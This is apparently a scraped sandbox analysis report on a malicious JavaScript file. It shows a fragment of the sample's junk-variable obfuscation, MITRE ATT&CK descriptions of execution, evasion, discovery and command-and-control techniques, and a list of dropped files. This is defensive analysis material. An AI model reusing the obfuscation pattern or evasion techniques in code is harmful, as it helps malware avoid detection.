1289	ljoemgwl = "A";
1290	ljoemgwl = "x";
1291	ljoemgwl = "J";
1292	ljoemgwl = "C";
1293	ljoemgwl = "v";
1294	ljoemgwl = "S";
1295	ljoemgwl = "G";
1296	ljoemgwl = "Y";
1297	ljoemgwl = "S";
1298	ljoemgwl = "f";
1299	ljoemgwl = "u";
1300	ljoemgwl = "m";
1301	ljoemgwl = "R";
1302	ljoemgwl = "d";
1303	ljoemgwl = "F";
1304	ljoemgwl = "e";
1305	mshkme = "R";
1306	mshkme = "G";
1307	mshkme = "q";
1308	mshkme = "R";
1309	mshkme = "g";
1310	iqulynrrf = "B";
1311	iqulynrrf = "n";
1312	iqulynrrf = "L";
1313	iqulynrrf = "Q";
1314	iqulynrrf = "v";
1315	iqulynrrf = "T";
1316	iqulynrrf = "B";
1317	iqulynrrf = "n";
1318	iqulynrrf = "a";
1319	iqulynrrf = "M";
1320	iqulynrrf = "T";
1321	iqulynrrf = "t";
1322	iqulynrrf = "C";
1323	iqulynrrf = "K";
1324	iqulynrrf = "x";
1325	iqulynrrf = "a";
1326	iqulynrrf = "S";
1327	iqulynrrf = "O";
1328	iqulynrrf = "K";
1329	iqulynrrf = "j";
1330	iqulynrrf = "H";
1331	iqulynrrf = "f";
1332	iqulynrrf = "A";
1333	iqulynrrf = "g";
1334	iqulynrrf = "p";
1335	iqulynrrf = "O";
1336	iqulynrrf = "L";
1337	iqulynrrf = "e";
1338	iqulynrrf = "X";
1339	iqulynrrf = "o";
1340	iqulynrrf = "D";
1341	iqulynrrf = "t";
1342	iqulynrrf = "1";
1343	nrjcyeh = "v";
1344	nrjcyeh = "u";
1345	nrjcyeh = "U";
1346	nrjcyeh = "S";
1347	nrjcyeh = "P";
1348	nrjcyeh = "F";
1349	nrjcyeh = "o";
1350	nrjcyeh = "V";
1351	nrjcyeh = "N";
1352	nrjcyeh = "C";
1353	nrjcyeh = "M";
1354	nrjcyeh = "t";
1355	nrjcyeh = "a";
1356	nrjcyeh = "f";
1357	nrjcyeh = "j";
1358	nrjcyeh = "X";
1359	nrjcyeh = "B";
1360	nrjcyeh = "D";
1361	nrjcyeh = "T";
1362	nrjcyeh = "s";
1363	nrjcyeh = "g";
1364	nrjcyeh = "h";
1365	nrjcyeh = "l";
1366	nrjcyeh = "U";
1367	nrjcyeh = "t";
1368	nrjcyeh = "n";
1369	nrjcyeh = "d";
1370	nrjcyeh = "L";
1371	nrjcyeh = "Q";
1372	nrjcyeh = "L";
1373	btjkebh = "k";
1374	btjkebh = "n";
1375	btjkebh = "f";
1376	btjkebh = "u";
1377	btjkebh = "K";
1378	btjkebh = "Y";
1379	oqylrzch = "d";
1380	oqylrzch = "l";
1381	oqylrzch = "l";
1382	oqylrzch = "F";
1383	oqylrzch = "c";
1384	oqylrzch = "u";
1385	oqylrzch = "x";
1386	oqylrzch = "t";
1387	oqylrzch = "U";
1388	oqylrzch = "A";
1389	oqylrzch = "e";
1390	oqylrzch = "d";
1391	oqylrzch = "z";
1392	oqylrzch = "J";
1393	oqylrzch = "H";
1394	oqylrzch = "o";
1395	oqylrzch = "w";
1396	oqylrzch = "s";
1397	oqylrzch = "W";
1398	oqylrzch = "t";
1399	oqylrzch = "b";
1400	oqylrzch = "y";
1401	oqylrzch = "r";
1402	unkfqux = "y";
1403	unkfqux = "H";
1404	unkfqux = "H";
1405	unkfqux = "A";
1406	unkfqux = "s";
1407	unkfqux = "n";
1408	unkfqux = "C";
1409	unkfqux = "Q";
1410	unkfqux = "o";
1411	unkfqux = "U";
1412	unkfqux = "E";
1413	unkfqux = "N";
1414	unkfqux = "V";
1415	unkfqux = "V";
1416	unkfqux = "w";
1417	unkfqux = "S";
1418	unkfqux = "B";
1419	unkfqux = "a";
1420	unkfqux = "c";
1421	unkfqux = "n";
1422	unkfqux = "W";
1423	unkfqux = "U";
1424	unkfqux = "S";
1425	unkfqux = "W";
1426	unkfqux = "H";
1427	unkfqux = "O";
1428	unkfqux = "b";
1429	unkfqux = "K";
1430	unkfqux = "b";
1431	unkfqux = "S";
1432	unkfqux = "K";
1433	unkfqux = "D";
1434	unkfqux = "h";
1435	unkfqux = "M";
1436	unkfqux = "J";
1437	unkfqux = "J";
1438	unkfqux = "D";
1439	unkfqux = "s";
1440	unkfqux = "C";
1441	unkfqux = "l";
1442	avafzf ( );	avafzf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22931850270221075.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\33ab248e-d376-42bc-95e3-8bf21e846c76.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3f268f01-238e-4128-bfc8-216f469fa881.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4a86fa.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
22931850270221075.js